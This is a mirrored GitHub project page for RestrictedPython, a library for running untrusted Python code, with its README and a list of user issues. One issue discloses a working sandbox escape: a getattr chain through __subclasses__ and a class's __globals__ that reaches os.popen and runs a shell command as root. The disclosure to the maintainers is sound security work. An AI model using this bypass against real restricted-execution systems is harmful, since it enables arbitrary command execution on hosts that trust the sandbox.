Giter Site home page Giter Site logo

zopefoundation / restrictedpython Goto Github PK

View Code? Open in Web Editor NEW
417.0 77.0 37.0 1.68 MB

A restricted execution environment for Python to run untrusted code.

Home Page: http://restrictedpython.readthedocs.io/

License: Other

Python 100.00%
python zope plone restrictions untrusted code hacktoberfest

restrictedpython's Introduction

image

image

Documentation Status

Current version on PyPI

Supported Python versions

image

RestrictedPython

RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. RestrictedPython is not a sandbox system or a secured environment, but it helps to define a trusted environment and execute untrusted code inside of it.

Warning

RestrictedPython only supports CPython. It does _not support PyPy and other Python implementations as it cannot provide its restrictions there.

For full documentation please see http://restrictedpython.readthedocs.io/.

Example

To give a basic understanding what RestrictedPython does here two examples:

An unproblematic code example

Python allows you to execute a large set of commands. This would not harm any system.

>>> from RestrictedPython import compile_restricted
>>> from RestrictedPython import safe_globals
>>>
>>> source_code = """
... def example():
...     return 'Hello World!'
... """
>>>
>>> loc = {}
>>> byte_code = compile_restricted(source_code, '<inline>', 'exec')
>>> exec(byte_code, safe_globals, loc)
>>>
>>> loc['example']()
'Hello World!'

Problematic code example

This example directly executed in Python could harm your system.

>>> from RestrictedPython import compile_restricted
>>> from RestrictedPython import safe_globals
>>>
>>> source_code = """
... import os
...
... os.listdir('/')
... """
>>> byte_code = compile_restricted(source_code, '<inline>', 'exec')
>>> exec(byte_code, safe_globals, {})
Traceback (most recent call last):
ImportError: __import__ not found

Contributing to RestrictedPython

If you want to help maintain RestrictedPython and contribute, please refer to the documentation Contributing page.

restrictedpython's People

Contributors

baijum avatar contradictioned avatar d-maurer avatar dataflake avatar davisagli avatar dwt avatar ehfeng avatar freddrake avatar hannosch avatar hathawsh avatar icemac avatar jugmac00 avatar loechel avatar malthe avatar mgedmin avatar oz123 avatar perrinjerome avatar philikon avatar rahulbahal7 avatar rbu avatar riteshm93 avatar rnixx avatar sallner avatar sidnei avatar stefanholek avatar stephan-hof avatar strichter avatar tlotze avatar tseaver avatar zopyx avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

restrictedpython's Issues

handle ``in`` and ``not in`` seperately

In test we should check following cases seperately:

a in my_object
a in my_list
a in my_dict
a in my_set

at they might use __contains__ or something else, depending on the protocol.

Allow augmented assignments on __setitem__ ?

d = {"test": 0}
d["test"]+=1
>>> Augmented assignment of object items and slices is not allowed.

Why is this a security risk and is it possible to safely allow augmented assignments on mapped c++ objects which implement __getitem__ and __setitem__?
Furthermore is it even possible to allow this without writing a custom transformer?

Can't handle SyntaxError: can't assign to literal for compile_restricted_function

This is nearly identical to the issue raised in #125 (and fixed by #137), but is encountered via compile_restricted_function instead.

There are certain scenarios when parsing that cause a SyntaxError that aren't properly handled when the "text" attribute on the SyntaxError instance is None. It looks like a similar fix would apply.

Example:

# from RestrictedPython.compile import compile_restricted_function
# compile_restricted_function("", "1=1", "foo")
Traceback (most recent call last):
  File "/Users/hagenrd/VirtualEnvs/bhge-speedy-analytics/lib/python3.7/site-packages/RestrictedPython/compile.py", line 147, in compile_restricted_function
    body_ast = ast.parse(body, '<func code>', 'exec')
  File "/opt/local/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/ast.py", line 35, in parse
    return compile(source, filename, mode, PyCF_ONLY_AST)
  File "<func code>", line 1
SyntaxError: can't assign to literal
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
  File "/Users/hagenrd/VirtualEnvs/bhge-speedy-analytics/lib/python3.7/site-packages/IPython/core/interactiveshell.py", line 3326, in run_code
    exec(code_obj, self.user_global_ns, self.user_ns)
  File "<ipython-input-14-50301e84e668>", line 1, in <module>
    compile_restricted_function("", "1=1", "foo")
  File "/Users/hagenrd/VirtualEnvs/bhge-speedy-analytics/lib/python3.7/site-packages/RestrictedPython/compile.py", line 153, in compile_restricted_function
    statement=v.text.strip())
AttributeError: 'NoneType' object has no attribute 'strip'

Environment:
os: macOS 10.14.6
python version: 3.7.3
RestrictedPython version: 4.0

Support f-strings in Python 3.6+

From a security perspective this should be pretty easy as the f-string it self is parsed into the AST. We "only" need some additional node handlers methods as f-strings use custom AST nodes.

But maybe it is not that easy as it seems for me now.

Iterating over dict items() breaks in Python 3

In restricted Python 3, code like this:

d = {'a': 'b'}
for k, v in d.items():
    pass

results in an Unauthorized exception:

The container has no security assertions.  Access to None of dict_items([('a', 'b')]) denied.

`os.popen` Bypass

Hello!

I just wanted to let you guys know that there is a work around for executing os module methods without the need of __import__. I'm aware that RestrictedPython is not a "sandbox" or a "secure environment", but since there was "Problematic code example" in the docs, I just wanted to show you how this can be bypassed. I'm not really sure if this is a "bug" or not, but I just wanted to share :)

Bypass

>>> from RestrictedPython import compile_restricted
>>> from RestrictedPython import safe_builtins
>>>
>>> loc={}
>>> exec(compile_restricted("def exec_bypass(): return getattr(getattr(getattr(getattr(getattr([], '__class__'),'__base__'), '__subclasses__')().pop(78), '__init__'), '__globals__').pop('sys').modules.pop('os').popen('id').read()", '<inline>', 'exec'), safe_builtins, loc)
>>> loc['exec_bypass']()
'uid=0(root) gid=0(root) groups=0(root)\n'

Here, I used getattr since I couldn't access whatever that starts with an "_". 78 is the index of <class 'codecs.IncrementalEncoder'> and this index can vary. If you are locally testing this out make sure to first find the index of the class codecs.IncrementalEncoder. I also had to use pop because __getitem__ was not available.

This code kind of translates to the one below

[].__class__.__base__.__subclasses__()[78].__init__.__globals__['sys'].modules['os'].popen("id").read()

Thanks!

Sometimes cannot be installed on Python 3.7

It happens when it is installed in a tox environment using buildout. (Example: Products.PythonScripts)

The reason seems to be the setup_requires=['pytest-runner'] in setup.py.

ModuleNotFoundError: No module named 'SelectCompiler'

Hi,

I'm trying to use restricted python in a non zope/plone piece of software and I get an import error:

import RestrictedPython
Traceback (most recent call last):
File "", line 1, in
File "/home/davide/workspaces/play_requests/.tox/py36/lib/python3.6/site-packages/RestrictedPython/init.py", line 17, in
from SelectCompiler import *
ModuleNotFoundError: No module named 'SelectCompiler'

Tried with:

  • python3.6
  • RestrictedPython==3.6.0

Slice assignment

Is there a way to get around the restriction on slice assignment.
Current code is:

safe_builtins['enumerate'] = guarded_enumerate


safe_builtins['iter'] = guarded_iter

safe_builtins['_getattr_'] = getattr
safe_builtins['setattr'] = setattr

_safe_globals = {
    '__builtins__': safe_builtins,
    '__metaclass__': _metaclass,
    '_apply_': guarded_apply,
    '_getitem_': guarded_getitem,
    '_getiter_': guarded_iter,
    '_iter_unpack_sequence_': guarded_iter_unpack_sequence,
    '_unpack_sequence_': guarded_unpack_sequence,
    '_print_': RestrictedPython.PrintCollector,
    '_write_': full_write_guard,
    # The correct implementation of _getattr_, aka
    # guarded_getattr, isn't known until
    # AccessControl.Implementation figures that out, then
    # stuffs it into *this* module's globals bound to
    # 'guarded_getattr'.  We can't know what that is at
    # '_getattr_': guarded_getattr,
}


t = '''
df = model
df['field2'] = df['field1'].fillna(0)
df.loc[ df['field2'] ==  '0' , 'field2'] = 0
df.loc[ df['field2'] !=  0 , 'field2'] = 1
df['field2']
'''

byte_code = compile_restricted(t, '<inline>', 'exec')
_safe_globals['model'] = model
exec(byte_code,_safe_globals,None)

I get the following error: object does not support item or slice assignment.
which is from line200 - 214 in the guard.py file

Is there a way to allow assignment of a slice within Restricted Python ?

Can I restrict a number of defined packages and allow others?

While using RestrictedPython a use case I would like to have is not allow the import of certain packages but allow others.
For example I want to allow json but disallow requests. Is this currently possible by modifying safe_builtins or safe_utilities?

pytest conftest.py and pytest_plugins

Is this an issue to our code? https://twitter.com/hackebrot/status/873083574676733953

If I understand it right you should not import fixtures, as imports will create an internal copy of that fixture object which in our case is a function object and could mess up with python cache so even byte code cache.

Also I have seen that it strongly recommended to have no init.py in tests, see also: https://docs.pytest.org/en/latest/goodpractices.html#choosing-a-test-layout-import-rules

Support yield statements

RestrictedPython 4.0b4

To reproduce:

from RestrictedPython import compile_restricted
source_code = """
def example():
    for i in range(6):
        yield i**2
"""
compile_restricted(source_code, '<inline>', 'exec')
Traceback (most recent call last):
  File "test.py", line 11, in <module>
    byte_code = compile_restricted(source_code, '<inline>', 'exec')
  File "C:\ProgramData\Anaconda3\lib\site-packages\RestrictedPython\compile.py", line 205, in compile_restricted
    raise SyntaxError(result.errors)
SyntaxError: ('Line 4: Yield statements are not allowed.',)

Global scope isn't updated when new function (or class) is defined

Is there anything that can be done to allow the global namespace to be updated automatically? In (unrestricted) Python, function example() would have access to c, but in restricted python one is required to use global. In another example using metaclass, I tried to update globals()[name] = ob to allow classes to be available, but this didn't work (so I assume the same problem would apply for new functions).

Any idea would be appreciated.

from RestrictedPython import compile_restricted
from RestrictedPython import safe_globals

source_code = """

def c():
    return 1

def example():
    # required:
    # global c
    return c()

example()
"""

loc = {}
byte_code = compile_restricted(source_code, '<inline>', 'exec')
exec(byte_code, safe_globals, loc)

print (loc)

Mode Single Documentation

First thanks for all of the hard work.

I was not clear what the mode single meant.
You may want to add something this to the documentation"

mode: This argument specifies the type of code. Allowed values are exec, eval and single. Use exec if source contains multiple python statements. Use eval if source is a single python expression. Use single if source consists of a single interactive statement.

I copied it from https://www.journaldev.com/22772/python-compile-function

handling of compile_restricted optional params ``flags`` and ``dont_inherit``

@stephan-hof did bring up the point that the current handling of flags and dont_inherit did not work as expected in #39 (comment)

Currently this inheritance is not compatible.
Let's assume the following code in module called test.py

from __future__ import print_function
from RestrictedPython import compile_restricted as compile
compile(<source>, filename="<inline>", mode="exec", ...) 

Even if dont_inhert=False the future is not recognized in the compile_restricted function.
When compile_restricted is called it uses the futures from compile.py not from test.py
See: https://github.com/python/cpython/blob/2.7/Python/ceval.c#L4159

If this inheriting should be compatible with the original compile function something like this needs to be done.

parent_flags = sys._getframe(1).f_code.co_flags
parent_flags = parent_flags & PyCF_MASK
flags = flags | parent_flags

and then call compile with flags=flags and dont_inhert=True to avoid using future flags from compile.py.

Right now the users of RestrictedPython don't need this feature of future inheriting so I would leave it out. Typically the comes from a different component anyway so inheriting the flags where restricted_compile is called could lead to surprising effects.

When installed inside Tox: UnicodeDecodeError: 'ascii' codec can't decode byte 0xc2 in position 388: ordinal not in range(128)

Some Home Assistant developers have reported an issue installing RestrictedPython 4.0a2 inside tox because of a UnicodeDecode error when setup.py reads the README file. Our issue is here: home-assistant/core#8026

Installing outside Tox does not give us any problems.

Collecting restrictedpython==4.0a2 (from -r /home/alex/home-assistant/requirements_test_all.txt (line 107))
  Using cached RestrictedPython-4.0a2.tar.gz
    Complete output from command python setup.py egg_info:
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-build-faptnbow/restrictedpython/setup.py", line 33, in <module>
        long_description=(read('README.rst') + '\n' +
      File "/tmp/pip-build-faptnbow/restrictedpython/setup.py", line 23, in read
        return open(os.path.join(os.path.dirname(__file__), *rnames)).read()
      File "/home/alex/home-assistant/.tox/py36/lib/python3.6/encodings/ascii.py", line 26, in decode
        return codecs.ascii_decode(input, self.errors)[0]
    UnicodeDecodeError: 'ascii' codec can't decode byte 0xc2 in position 388: ordinal not in range(128)

We set our language inside tox to UTF-8 (source):

install_command = /usr/bin/env LANG=C.UTF-8 pip install {opts} {packages}

I guess a potential solution could be to pass in encoding='utf8' to the open call.

Broken warning about "print"

RestrictedPython tries to be helpful under Python 2 and will generate warnings for print statements. However, it does not distinguisg between real old-style statements like print 'foo' and correct function calls like print('foo').

This will cause incorrect and confusing warnings when editing Python Scripts in the ZMI, including for the default script content that is generated when a user does not upload a file upon script creation time.

Please make that check a little more restrictive.

improve package README

The Package README should be improved and included in tests, to show that the code it contains actually works.

Allow setitem and getitem

Hey,

I was just started to test this library a few days ago and I did not find any example for setitem and getitem implementation. I wonder what kind of security threats will raise if I will just allow everything in the SetItem and GetItem functions? something like this:

def SetItem(x, i, v):
    x[i] = v
    
def GetItem(x, i):
    return x[i]

Thanks, and thank you for developing this product.

defining a class throws __metaclass__ is not defined error

I am trying to use RestrictedPython to allow users to create a class (that inherits from a base-class in my code). I get this error:

Traceback (most recent call last):
File "/Users/test_suite/primitive_tester.py", line 196, in check_dynamic_primitive
dynamic_primitives_compiled, compiled_result = DynamicPrimitiveLoader.load_primitive(dynamic_primitive)
File "/Users/primitive_matching_manager.py", line 207, in load_primitive
exec(byte_code)
File "<inline code>", line 3, in <module>
NameError: name '__metaclass__' is not defined

Now this comes from the visit_ClassDef function:

    def visit_ClassDef(self, node):
        """Check the name of a class definition."""
        self.check_name(node, node.name)
        node = self.node_contents_visit(node)
        if IS_PY2:
            new_class_node = node
        else:
            if any(keyword.arg == 'metaclass' for keyword in node.keywords):
                self.error(
                    node, 'The keyword argument "metaclass" is not allowed.')
            CLASS_DEF = textwrap.dedent('''\
                class {0.name}(metaclass=__metaclass__):
                    pass
            '''.format(node))
            new_class_node = ast.parse(CLASS_DEF).body[0]
            new_class_node.body = node.body
            new_class_node.bases = node.bases
            new_class_node.decorator_list = node.decorator_list
        return new_class_node

and i cannot understand the __metaclass__ part.
trying to create a class like the one that is formed in the CLASS_DEF string results in the same error:

class MyClass(metaclass=__metaclass__):
    pass

Any ideas how to allow class creation in the received code?

Tuple unpacking to local variables should be allowed

E.g., from the Products.PythonScripts fibonacci test:

l = []
a, b = 0, 1
while b < 100000000:
    l.append(b)
    a, b = b, a+b  # fails with error
return l

The error is:

> /home/tseaver/.buildout/eggs/cp27m/RestrictedPython-4.0a1-py2.7.egg/RestrictedPython/tests/verify.py(45)verify()
-> verify(ob)
(Pdb) d
> /home/tseaver/.buildout/eggs/cp27m/RestrictedPython-4.0a1-py2.7.egg/RestrictedPython/tests/verify.py(42)verify()
-> verifycode(code)
(Pdb) d
> /home/tseaver/.buildout/eggs/cp27m/RestrictedPython-4.0a1-py2.7.egg/RestrictedPython/tests/verify.py(50)verifycode()
-> _verifycode(code)
(Pdb) d
> /home/tseaver/.buildout/eggs/cp27m/RestrictedPython-4.0a1-py2.7.egg/RestrictedPython/tests/verify.py(110)_verifycode()
-> (code.co_filename, line))
(Pdb) l
105  	            if not (window[0].opname == "CALL_FUNCTION" and
106  	                    window[1].opname == "ROT_TWO" and
107  	                    window[2].opname == "LOAD_GLOBAL" and
108  	                    window[2].arg == "_getiter_"):
109  	                raise ValueError("unguarded unpack sequence at %s:%d" %
110  ->	                                 (code.co_filename, line))
111  	
112  	        # should check CALL_FUNCTION_{VAR,KW,VAR_KW} but that would
113  	        # require a potentially unlimited history.  need to refactor
114  	        # the "window" before I can do that.
115  	

Usage of random under safe_builtins + utility_buildins

I ran into problem I wasn't able to solve while trying to use random module in compiled code.
I have simple test code to try it out:
data = "x = random.random()"
that is then compiled:

bytecode = compile_restricted(data, '<inline>', 'exec')
exec(bytecode, allowed_globals, allowed_locals)

(allowed locals is: allowed_locals{'__builtins__': {**safe_builtins, **utility_builtins}})
which has inside itself loaded module random if i check it

but when I try and execute it, I get NameError: name '_getattr_' in not defined

I couldn't find if there is any example of how to use utility_buildins, and I am just doing it completely wrong (probably)

Can't handle SyntaxError: can't assign to literal

from RestrictedPython import compile_restricted

code = """
1 = 2
 """

compile_restricted(code, '<string>', 'exec')
---------------------------------------------------------------------------
SyntaxError                               Traceback (most recent call last)
~/.virtualenvs/flask-py3/lib/python3.6/site-packages/RestrictedPython/compile.py in _compile_restricted_mode(source, filename, mode, flags, dont_inherit, policy)
     54             try:
---> 55                 c_ast = ast.parse(source, filename, mode)
     56             except (TypeError, ValueError) as e:

/usr/local/Cellar/python/3.6.4_4/Frameworks/Python.framework/Versions/3.6/lib/python3.6/ast.py in parse(source, filename, mode)
     34     """
---> 35     return compile(source, filename, mode, PyCF_ONLY_AST)
     36

SyntaxError: can't assign to literal (<string>, line 2)

During handling of the above exception, another exception occurred:

AttributeError                            Traceback (most recent call last)
<ipython-input-10-e894370f632e> in <module>()
----> 1 compile_restricted(code, '<string>', 'exec')

~/.virtualenvs/flask-py3/lib/python3.6/site-packages/RestrictedPython/compile.py in compile_restricted(source, filename, mode, flags, dont_inherit, policy)
    194             flags=flags,
    195             dont_inherit=dont_inherit,
--> 196             policy=policy)
    197     else:
    198         raise TypeError('unknown mode %s', mode)

~/.virtualenvs/flask-py3/lib/python3.6/site-packages/RestrictedPython/compile.py in _compile_restricted_mode(source, filename, mode, flags, dont_inherit, policy)
     61                     type=v.__class__.__name__,
     62                     msg=v.msg,
---> 63                     statement=v.text.strip()
     64                 ))
     65         if c_ast:

AttributeError: 'NoneType' object has no attribute 'strip'

when assign to literal, the error text is None

Environment:
os: maxOS
python version: 3.6
RestrictedPython version: 4.0b4

Documentation

Currently the documentation contains copied and doubled text as well as German documentation parts.

That should be consolidated and translated / removed.

We should have a consistent documentation, so that user and developers could understand what is happening in RestrictedPython.

There should also be a documentation listing all the built-in names RestrictedPython relies on, e. g. _getattr_.

Port to Python 3

This is a placeholder issue to discuss/track the Python 3 port.

All the work is currently happening on the Python3_update branch. Updates to this branch are only done via reviewed pull requests.

Why is access to macros of a template disallowed in RestrictedPython?

Following up from plone/Products.CMFPlone#2839:

Why does RestrictedPython not allow to use
python:mytemplate.macros['master'] in a template but
mytemplate/macros/master is allowed? macros is the property chameleon.zpt.program.import.macros which returns a chameleon.zpt.template.Macros object.

Allowed:

<pre tal:define="template python:context.restrictedTraverse('@@main_template')"
     tal:content="template/macros"></pre>

Not allowed:

<pre tal:define="template python:context.restrictedTraverse('@@main_template')"
     tal:content="python:template.macros"></pre>

list comprehension expression raises "TypeError: 'NoneType' object is not subscriptable"

Tested with Python 3.6.1 with RestrictedPython 4.0b2:

(Pdb) RestrictionCapableEval('[item for item in [1,2]]').eval(context)
*** TypeError: 'NoneType' object is not subscriptable
(Pdb) [item for item in [1,2]]
[1, 2]

where context is:

(Pdb) context
{'variables': {'test_run_identifier': 'QA-240dc1b5-f6bd-11e7-888e-080027edbcd8-skin1', 'skin': 'skin1', 'datetime': '2018-01-11T11:49:48.439194', 'base_url': 'http://'}, 'len': <built-in function len>, 'list': <class 'list'>, 'match': <function match at 0x7f2b3c55bd90>}

Any suggestion?

Thanks in advance

compile_restricted_python p parameter

In the restricted python documentation for compile_restricted_python it says

Parameters: | p – (required).body – (required).
but it does not tell me what p represents.
I had to read the source code.
Turns out that p represents the number of function parameters. Good to add that to the docs.

DocStrings

All source code in Restricted Python should be reviewed and all methods should have a descriptive doc string

Right on Repository

Hi @icemac or @hannosch coudl someone give me more rights on this repository, I did not see the settings tab and could not administrate this repository.

I am working on appveyor tests for this repository, and I think I need to add there some parts too.

Adding "bytes" to allowed builtin names

Having bytes would allow a sane way of getting at OFS.Image.File data in restricted code under Python 3. str is inappropriate because it wants to decode the file content using the default UTF-8 encoding that may not match the actual encoding used by file contents.

Calling this a Zope 4 bugfix because having only str for those cases is a recipe for problems.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.